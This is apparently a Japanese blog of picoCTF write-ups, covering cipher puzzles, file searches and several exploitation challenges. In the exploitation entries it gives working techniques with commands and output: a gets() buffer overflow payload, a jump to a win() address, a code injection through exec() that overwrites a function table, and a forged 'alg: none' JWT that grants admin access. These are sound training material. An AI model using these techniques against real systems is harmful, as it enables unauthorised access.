Ta _7N6DDDhlg:W3D_H3C31N__0D3ef sHR053F38N43D0F i33___NA

復号に使用する鍵は4である。

CyberChefのRail Fence Cipher Decodeを使用して復号した。

ReadMyCert (100points)

PEM形式の証明書ファイルreadmycert.csrを解析してフラグを取得する問題。

CyberChefのPEM to HexおよびFrom Hexを使用してフラグを取得した。

rotation (100points)

暗号化されたフラグxqkwKBN{z0bib1wv_l3kzgxb3l_i4j7l759}を解析してフラグを取得する問題。

CyberChefのROT13でAmountに18を指定するとフラグを取れた。

Tapping (200points)

以下の暗号化されたメッセージを解読してフラグを取得する問題。

$ nc jupiter.challenges.picoctf.org 21610
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ...-- ----. ----- ..--- ----- .---- ----. ..... .---- ----. }

上記はモールス信号である。CyberChefのFrom Morse Codeを使用してフラグを取得した。

Flags (200points)

以下の画像ファイルを解析してフラグを取得する問題。

ぱっと見、国旗かと思ったが、どうも違うっぽい。
「flag cipher」でググってみたところ、International Code of Signalsと判明した。
リンク先を参考にして手動でフラグを取得した。

First Find (100points)

ZIPファイルfiles.zipからuber-secret.txtを見つけてフラグを取得する問題。

$ unzip -Z files.zip | grep -i uber-secret.txt
-rw-rw-r--  3.0 unx       31 tx stor 22-May-14 04:17 files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
$ unzip files.zip
Archive:  files.zip
   creating: files/
   creating: files/satisfactory_books/
   creating: files/satisfactory_books/more_books/
  inflating: files/satisfactory_books/more_books/37121.txt.utf-8
  inflating: files/satisfactory_books/23765.txt.utf-8
  inflating: files/satisfactory_books/16021.txt.utf-8
  inflating: files/13771.txt.utf-8
   creating: files/adequate_books/
   creating: files/adequate_books/more_books/
   creating: files/adequate_books/more_books/.secret/
   creating: files/adequate_books/more_books/.secret/deeper_secrets/
   creating: files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/
 extracting: files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
  inflating: files/adequate_books/more_books/1023.txt.utf-8
  inflating: files/adequate_books/46804-0.txt
  inflating: files/adequate_books/44578.txt.utf-8
   creating: files/acceptable_books/
   creating: files/acceptable_books/more_books/
  inflating: files/acceptable_books/more_books/40723.txt.utf-8
  inflating: files/acceptable_books/17880.txt.utf-8
  inflating: files/acceptable_books/17879.txt.utf-8
  inflating: files/14789.txt.utf-8
$ cd files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/
$ ls
uber-secret.txt
$ file uber-secret.txt
uber-secret.txt: ASCII text
$ cat uber-secret.txt
picoCTF{f1nd_15_f457_<REDACTED>}

Big Zip (100points)

ZIPファイルbig-zip-files.zipを解析してフラグを取得する問題。

big-zip-files.zipには大量のテキストファイルが含まれていた。

$ unzip -Z big-zip-files.zip | wc -l
9093

$ unzip -Z big-zip-files | head
Archive:  big-zip-files.zip
Zip file size: 3182988 bytes, number of entries: 9090
drwxrwxr-x  3.0 unx        0 bx stor 20-May-04 06:12 big-zip-files/
-rw-rw-r--  3.0 unx       15 tx stor 20-May-04 05:59 big-zip-files/jpvaawkrpno.txt
-rw-rw-r--  3.0 unx       83 tx defN 20-May-04 05:59 big-zip-files/oxbcyjsy.txt
-rw-rw-r--  3.0 unx      175 tx defN 20-May-04 05:59 big-zip-files/hllhxlvvdgiii.txt
-rw-rw-r--  3.0 unx       82 tx defN 20-May-04 05:59 big-zip-files/bdvnqbuutefealgveyiqd.txt
-rw-rw-r--  3.0 unx       88 tx defN 20-May-04 05:59 big-zip-files/fudfsewmaafsbniiyktzr.txt
drwxrwxr-x  3.0 unx        0 bx stor 20-May-04 06:11 big-zip-files/folder_fqmjtuthge/
-rw-rw-r--  3.0 unx       91 tx defN 20-May-04 05:59 big-zip-files/folder_fqmjtuthge/file_eaigogtrdslbxenbnfisxepj.txt

ZIPファイルを解凍し、grepの-Rオプションを利用してフラグを取得した。

$ grep -R -i 'pico' big-zip-files/
big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_<REDACTED>}

ASCII Numbers (100points)

以下のHexエンコードされたデータをデコードしてフラグを取得する問題。

0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d

以下のワンライナーでフラグを取得した。

echo -n '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
$ echo -n '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_<REDACTED>}

Local Target (100points)

バッファオーバーフローの脆弱性を突いてフラグを取得する問題。

local-targetという64ビットのELFファイルとソースコードlocal-target.cを渡された。

以下はlocal-target.cの内容である。

#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

変数numの値を65に書き換えることが出来ればflag.txtからフラグが読み出される。

このプログラムはユーザーの入力をバッファオーバーフローに対して脆弱なgets()で受け取っているので、gets()をオーバーフローさせれば変数numの値を書き換えることが出来る。

入力バッファのサイズが16バイトなので (char input[16];)、16バイトから1バイトずつ増やしながら\x41 (65) をプログラムに送り続けたところ、\x41を25バイト送った時点で変数numが書き換えられて、フラグを取ることが出来た。

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' | nc saturn.picoctf.net 55949
Enter a string:
num is 65
You win!
picoCTF{l0c4l5_1n_5c0p3_<REDACTED>}

Picker IV (100points)

64ビットのELFファイルpicker-IVとソースコードpicker-IV.cを解析してフラグを取得する問題。

以下はpicker-IV.cの内容である。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void print_segf_message(){
  printf("Segfault triggered! Exiting.\n");
  sleep(15);
  exit(SIGSEGV);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

win()という関数を呼び出すことが出来ればflag.txtからフラグが読み出される。

checksecでバイナリを確認したところ、PIEは有効化されていなかった。

$ sudo checksec.sh --file=picker-IV
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76 Symbols	  No	0		1		picker-IV

win()のアドレスは0x40129eだった。

$ objdump -d -M intel picker-IV | grep win
000000000040129e <win>:
  4012d2:	75 16                	jne    4012ea <win+0x4c>
  4012f9:	eb 1a                	jmp    401315 <win+0x77>
  401319:	75 e0                	jne    4012fb <win+0x5d>

入力値としてwin()のアドレス0x40129eを送ったところ、フラグを取れた。

$ nc saturn.picoctf.net 62905
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_<REDACTED>}

Picker III (100points)

Pythonスクリプトpicker-III.pyを解析してフラグを取得する問題。

以下はpicker-III.pyの内容。


import re



USER_ALIVE = True
FUNC_TABLE_SIZE = 4
FUNC_TABLE_ENTRY_SIZE = 32
CORRUPT_MESSAGE = 'Table corrupted. Try entering \'reset\' to fix it'

func_table = ''

def reset_table():
  global func_table

  # This table is formatted for easier viewing, but it is really one line
  func_table = \
'''\
print_table                     \
read_variable                   \
write_variable                  \
getRandomNumber                 \
'''

def check_table():
  global func_table

  if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
    return False

  return True


def get_func(n):
  global func_table

  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  # Get function name from table
  func_name = ''
  func_name_offset = n * FUNC_TABLE_ENTRY_SIZE
  for i in range(func_name_offset, func_name_offset+FUNC_TABLE_ENTRY_SIZE):
    if( func_table[i] == ' '):
      func_name = func_table[func_name_offset:i]
      break

  if( func_name == '' ):
    func_name = func_table[func_name_offset:func_name_offset+FUNC_TABLE_ENTRY_SIZE]
  
  return func_name


def print_table():
  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  for i in range(0, FUNC_TABLE_SIZE):
    j = i + 1
    print(str(j)+': ' + get_func(i))


def filter_var_name(var_name):
  r = re.search('^[a-zA-Z_][a-zA-Z_0-9]*$', var_name)
  if r:
    return True
  else:
    return False


def read_variable():
  var_name = input('Please enter variable name to read: ')
  if( filter_var_name(var_name) ):
    eval('print('+var_name+')')
  else:
    print('Illegal variable name')


def filter_value(value):
  if ';' in value or '(' in value or ')' in value:
    return False
  else:
    return True


def write_variable():
  var_name = input('Please enter variable name to write: ')
  if( filter_var_name(var_name) ):
    value = input('Please enter new value of variable: ')
    if( filter_value(value) ):
      exec('global '+var_name+'; '+var_name+' = '+value)
    else:
      print('Illegal value')
  else:
    print('Illegal variable name')


def call_func(n):
  """
  Calls the nth function in the function table.
  Arguments:
    n: The function to call. The first function is 0.
  """

  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  # Check n
  if( n < 0 ):
    print('n cannot be less than 0. Aborting...')
    return
  elif( n >= FUNC_TABLE_SIZE ):
    print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
    return

  # Get function name from table
  func_name = get_func(n)

  # Run the function
  eval(func_name+'()')


def dummy_func1():
  print('in dummy_func1')

def dummy_func2():
  print('in dummy_func2')

def dummy_func3():
  print('in dummy_func3')

def dummy_func4():
  print('in dummy_func4')

def getRandomNumber():
  print(4)  # Chosen by fair die roll.
            # Guaranteed to be random.
            # (See XKCD)

def win():
  # This line will not work locally unless you create your own 'flag.txt' in
  #   the same directory as this script
  flag = open('flag.txt', 'r').read()
  #flag = flag[:-1]
  flag = flag.strip()
  str_flag = ''
  for c in flag:
    str_flag += str(hex(ord(c))) + ' '
  print(str_flag)

def help_text():
  print(
  '''
This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.

* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.

Here's the current table:
  '''
  )
  print_table()



reset_table()

while(USER_ALIVE):
  choice = input('==> ')
  if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
    USER_ALIVE = False
  elif( choice == 'help' or choice == '?' ):
    help_text()
  elif( choice == 'reset' ):
    reset_table()
  elif( choice == '1' ):
    call_func(0)
  elif( choice == '2' ):
    call_func(1)
  elif( choice == '3' ):
    call_func(2)
  elif( choice == '4' ):
    call_func(3)
  else:
    print('Did not understand "'+choice+'" Have you tried "help"?')

win()という関数を呼び出せればflag.txtからフラグを読み出せるが、普通にプログラムを実行しただけではwin()を呼び出せない。

$ python3 picker-III.py
==> help

This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.

* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.

Here's the current table:

1: print_table
2: read_variable
3: write_variable
4: getRandomNumber

以下はプログラムで有効なコマンドである。

  • quit : プログラムを終了する。
  • help : ヘルプを表示する。
  • reset : 関数の一覧が格納されているグローバル変数func_tableをリセットする。
  • 1 (print_table) : 関数の一覧を表示する。
  • 2 (read_variable) : 指定した変数の値を読み出す。
  • 3 (write_variable) : 指定した変数に値を書き込む。
  • 4 (getRandomNumber) : 4という値を出力するだけ。

真っ先に思いついたのはwrite_variableflag.txtの中身を変数に書き込んだ後に、read_variableでその変数を読み出す、という方法であった。

以下はwrite_variableflagという変数にopen("flag.txt", "r").read()というコマンドを書き込んだ後に、read_variableで変数flagを読み出そうとした際の様子である。

まずは変数flagopen("flag.txt", "r").read()というコマンドを書き込んだ。ちなみにfilter_value()関数によって;()はフィルターされるので、()はHexエンコードさせた 。

==> 3
Please enter variable name to write: flag
Please enter new value of variable: "open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29"

変数flagを読み出してみた。

==> 2
Please enter variable name to read: flag
open("flag.txt","r").read()

残念ながらopen("flag.txt", "r").read()はコマンドではなく、文字列として認識されてしまった。

次に思いついたのは関数の一覧が格納されているグローバル変数func_tablewin()を紛れ込ませる、という方法である。

グローバル変数func_tableにはprint_tableread_variablewrite_variablegetRandomNumberの4つの関数が格納されている。

  # This table is formatted for easier viewing, but it is really one line
  func_table = \
'''\
print_table                     \
read_variable                   \
write_variable                  \
getRandomNumber                 \
'''
==> 2
Please enter variable name to read: func_table
print_table                     read_variable                   write_variable                  getRandomNumber

これら4つの関数は最終的にcall_func()関数によって実行される。ユーザーが1というコマンドを指定した場合、func_tableの先頭に格納されているprint_table関数が実行され、2というコマンドを指定した場合、func_tableの2番目に格納されているread_variable関数が実行される。。。といった具合である。

def call_func(n):
  """
  Calls the nth function in the function table.
  Arguments:
    n: The function to call. The first function is 0.
  """

  # Check table for viability
  if( not check_table() ):
    print(CORRUPT_MESSAGE)
    return

  # Check n
  if( n < 0 ):
    print('n cannot be less than 0. Aborting...')
    return
  elif( n >= FUNC_TABLE_SIZE ):
    print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
    return

  # Get function name from table
  func_name = get_func(n)

  # Run the function
  eval(func_name+'()')
while(USER_ALIVE):
  choice = input('==> ')
  if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
    USER_ALIVE = False
  elif( choice == 'help' or choice == '?' ):
    help_text()
  elif( choice == 'reset' ):
    reset_table()
  elif( choice == '1' ):
    call_func(0)
  elif( choice == '2' ):
    call_func(1)
  elif( choice == '3' ):
    call_func(2)
  elif( choice == '4' ):
    call_func(3)
  else:
    print('Did not understand "'+choice+'" Have you tried "help"?')

よって、変数func_tableの先頭にwinを書き込んだ後に、1というコマンドを実行すればwin()が実行されてフラグを取れると思われる。

変数func_tableは以下の条件を満たしていなければならない。

  • 格納される関数名の数は4つ。
  • 変数に格納されるデータサイズは128バイト。
FUNC_TABLE_SIZE = 4
FUNC_TABLE_ENTRY_SIZE = 32
def check_table():
  global func_table

  if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
    return False

  return True

よって変数func_tableに書き込む値は以下のようになる。

'win                     read_variable                   write_variable                  getRandomNumber                         '

データサイズがちょうど128バイトになるようにスペースの数を調節した。またプログラムに変数を格納する際はシングルクォートで囲う必要があった。

>>> len('win                     read_variable                   write_variable                  getRandomNumber                         ')
128

以下は実行結果である。変数func_tableの値を上書きした後に1というコマンドを実行したところ、win()が実行されてHexエンコードされたフラグが読み出された。

$ nc saturn.picoctf.net 56401
==> 2
Please enter variable name to read: func_table
print_table                     read_variable                   write_variable                  getRandomNumber

==> 3
Please enter variable name to write: func_table
Please enter new value of variable: 'win                     read_variable                   write_variable
     getRandomNumber                         '
==> 1
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d
==>
$ echo '0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d' | sed 's/0x//g' | sed 's/ //g' | xxd -r -p
picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_<REDACTED>}

la cifra de (200points)

以下の暗号化されたメッセージを復号してフラグを取得する問題。

Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3x7g996649}

Ehk ktryy herq-ooizxetypd jjdcxnatoty ol f aordllvmlbkytc inahkw socjgex, bls sfoe gwzuti 1467 my Rjzn Hfetoxea Gqmexyt.

Tnj Gimjyèrk Htpnjc iy ysexjqoxj dosjeisjd cgqwej yse Gqmexyt Doxn ox Fwbkwei Inahkw.

Tn 1508, Ptsatsps Zwttnjxiax tnbjytki ehk xz-cgqwej ylbaql rkhea (g rltxni ol xsilypd gqahggpty) ysaz bzuri wazjc bk f nroytcgq nosuznkse ol yse Bnretèwp Cousex.

Gplrfdo’y xpcuso butvlky lpvjlrki tn 1555 gx l cuseitzltoty ol yse lncsz. Yse rthex mllbjd ol yse gqahggpty fce tth snnqtki cemzwaxqj, bay ehk fwpnfmezx lnj yse osoed qptzjcs gwp mocpd hd xegsd ol f xnkrznoh vee usrgxp, wnnnh ify bk itfljcety hizm paim noxwpsvtydkse.

単純な換字式暗号かと思い復号を試みてみたが、どうも違うっぽい。

ヒントを見てみた。

There are tools that make this easy.

Perhaps looking at history will help

ヒントに従い、暗号の歴史について調べることにした。

「cryptography history」と暗号文に含まれていた「1553」(おそらく何かの年代)を組み合わせてググってみたところ、ヴィジュネル暗号のwikiに辿り着いた。

しかし肝心の復号鍵が不明である。

オンラインでブルートフォースできないかと思い、「vigenere brute force online」でググってみたところ、こちらのサイトで暗号文を復号してフラグを取ることが出来た。

復号鍵はflagだった。

JAuth (300points)

Webサイトhttp://saturn.picoctf.net:55824/を解析してフラグを取得する問題。

Webサイトの脆弱性を突いてadminとしてログインせよとのこと。
検証用のアカウントとしてtest が用意されている。パスワードはTest123!

サーバーの応答ヘッダーから何か手掛かりが掴めないかと思い、とりあえずアカウントtestを利用してログインのリクエストを送ってみた。

$ curl -i http://saturn.picoctf.net:55824/auth -d "username=test" -d "password=Test123!"
HTTP/1.1 302 Found
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9.0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNc; path=/; httponly
Location: /private
Date: Sun, 18 Jun 2023 10:20:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Set-CookieヘッダーにBase64エンコードされた認証用のトークンが含まれていたので、デコードしてみた。(ちなみにログインに成功するとhttp://saturn.picoctf.net:55824/privateへ遷移するが、このページには特に目ぼしい情報はなかった。)

$ echo -n eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo -n eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9 | base64 -d
{"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}
$ echo -n 0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNc | base64 -d
ҽ.f;4��8W/���XY���_base64: invalid input

どうやらJWT(JSON web tokens)を利用している模様。

JWTの構成は以下の通り。

[ヘッダー].[ペイロード].[署名]

上の例だと、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 ({"typ":"JWT","alg":"HS256"}) がヘッダー、eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODcwODM2MjV9 ({"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}) がペイロード、0r0uZjsBNO8SnzhXL46Rg1hZkuOP55kXX5_4IivCaNcが署名に当たる。

ペイロード {"auth":1687083624519,"agent":"curl/7.81.0","role":"user","iat":1687083625}roleパラメータをuserからadminに書き換えればadminとしてログインできそうな感じがするが、署名に使用されている鍵が不明なため、単純にペイロードを書き換えただけでは署名のチェックを突破できない。

しかし、調べてみるとヘッダーのalgパラメータにnoneと指定した場合、署名無しでリクエストを送れてしまうことがあるらしい。

CyberChefのJWT Sign (Signing algorithmにNoneを指定) を使用して、roleパラメータをuserからadminに書き換えた以下のペイロードをエンコードしてみた。

{"auth":1687083624519,"agent":"curl/7.81.0","role":"admin","iat":1687083625}

以下はCyberChefで生成したトークン。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjg3MDgzNjI1fQ.

生成したトークンをCookieヘッダーに埋め込んでhttp://saturn.picoctf.net:55824/privateにリクエストを送ったところ、adminとしてログインでき、フラグを取ることが出来た。

$ curl -i http://saturn.picoctf.net:55824/private -H "Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNjg3MDgzNjI0NTE5LCJhZ2VudCI6ImN1cmwvNy44MS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjg3MDgzNjI1fQ."
HTTP/1.1 200 OK
content-type: text/html
Date: Sun, 18 Jun 2023 10:50:40 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1, shrink-to-fit=no"
    />
    <title>Our Bank</title>
    <link
      rel="stylesheet"
      href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css"
    />
    <style type="text/css">
      .form-signin {
        width: 100%;
        max-width: 420px;
        padding: 15px;
        margin: auto;
      }
    </style>
  </head>
  <body>
    <div class="text-center">
      <h1>Hello, admin! You have logged in as admin!</h1>
    </div>
    <div class="text-center"><span>picoCTF{succ3ss_@u7h3nt1c@710n_<REDACTED>}</span></div>
    <form class="form-signin" action="/logout" method="GET">
      <div class="text-center mb-4">
        <input type="submit" class="btn btn-danger" value="logout" />
      </div>
    </form>
  </body>
</html>

Codebook (100points)

$ ls
code.py  codebook.txt
$ python3 code.py
picoCTF{c0d3b00k_455157_<REDACTED>}

convertme.py (100points)

$ python3 convertme.py
If 46 is in decimal base, what is it in binary base?
Answer:
>>> bin(46)
'0b101110'
$ python3 convertme.py
If 46 is in decimal base, what is it in binary base?
Answer: 101110
That is correct! Here's your flag: picoCTF{4ll_y0ur_b4535_<REDACTED>}

fixme1.py (100points)

$ python3 fixme1.py
  File "/mnt/c/Users/tatsu/Documents/picoCTF/fixme1.py/fixme1.py", line 20
    print('That is correct! Here\'s your flag: ' + flag)
IndentationError: unexpected indent

スクリプト20行目のprint文の冒頭のスペースを削除すればスクリプトがエラーなしで実行されてフラグを取れる。

fixme2.py (100points)

$ python3 fixme2.py
  File "/mnt/c/Users/tatsu/Documents/picoCTF/fixme2.py/fixme2.py", line 22
    if flag = "":
       ^^^^^^^^^
SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='?

スクリプト22行目のif flag = ""if flag == ""に修正すればスクリプトがエラーなしで実行されてフラグを取れる。

Glitch Cat (100points)

$ nc saturn.picoctf.net 50363
'picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}'
>>> print('picoCTF{gl17ch_m3_n07_' + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + '}')
picoCTF{gl17ch_m3_n07_<REDACTED>}

HashingJobApp (100points)

$ nc saturn.picoctf.net 55823
Please md5 hash the text between quotes, excluding the quotes: 'jelly beans'
Answer:
$ echo -n 'jelly beans' | md5sum
cb7d86ece76c57eac5ed18420ca67ea0  -
Please md5 hash the text between quotes, excluding the quotes: 'jelly beans'
Answer:
cb7d86ece76c57eac5ed18420ca67ea0
cb7d86ece76c57eac5ed18420ca67ea0
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'leather'
Answer:
$ echo -n 'leather' | md5sum
73bbd566536e2c09568defc61f5b9f48  -
Please md5 hash the text between quotes, excluding the quotes: 'leather'
Answer:
73bbd566536e2c09568defc61f5b9f48
73bbd566536e2c09568defc61f5b9f48
Correct.
Please md5 hash the text between quotes, excluding the quotes: 'kilts'
Answer:
$ echo -n 'kilts' | md5sum
64cb30b3223e083fa0a2dad43fae9a0e  -
Please md5 hash the text between quotes, excluding the quotes: 'kilts'
Answer:
64cb30b3223e083fa0a2dad43fae9a0e
64cb30b3223e083fa0a2dad43fae9a0e
Correct.
picoCTF{4ppl1c4710n_r3c31v3d_<REDACTED>}

PW Crack 1 (100points)

Pythonスクリプトlevel1.pyを解析し、暗号化されたファイルlevel1.flag.txt.encを復号してフラグを取得する問題。

以下はlevel1.pyの内容。

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################


flag_enc = open('level1.flag.txt.enc', 'rb').read()



def level_1_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    if( user_pw == "8713"):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        print(decryption)
        return
    print("That password is incorrect")



level_1_pw_check()

8713というパスワードがハードコードされていた。

$ python3 level1.py
Please enter correct password for flag: 8713
Welcome back... your flag, user:
picoCTF{545h_r1ng1ng_<REDACTED>}

PW Crack 2 (100points)

Pythonスクリプトlevel2.pyを解析し、暗号化されたファイルlevel2.flag.txt.encを復号してフラグを取得する問題。

以下はlevel2.pyの内容。

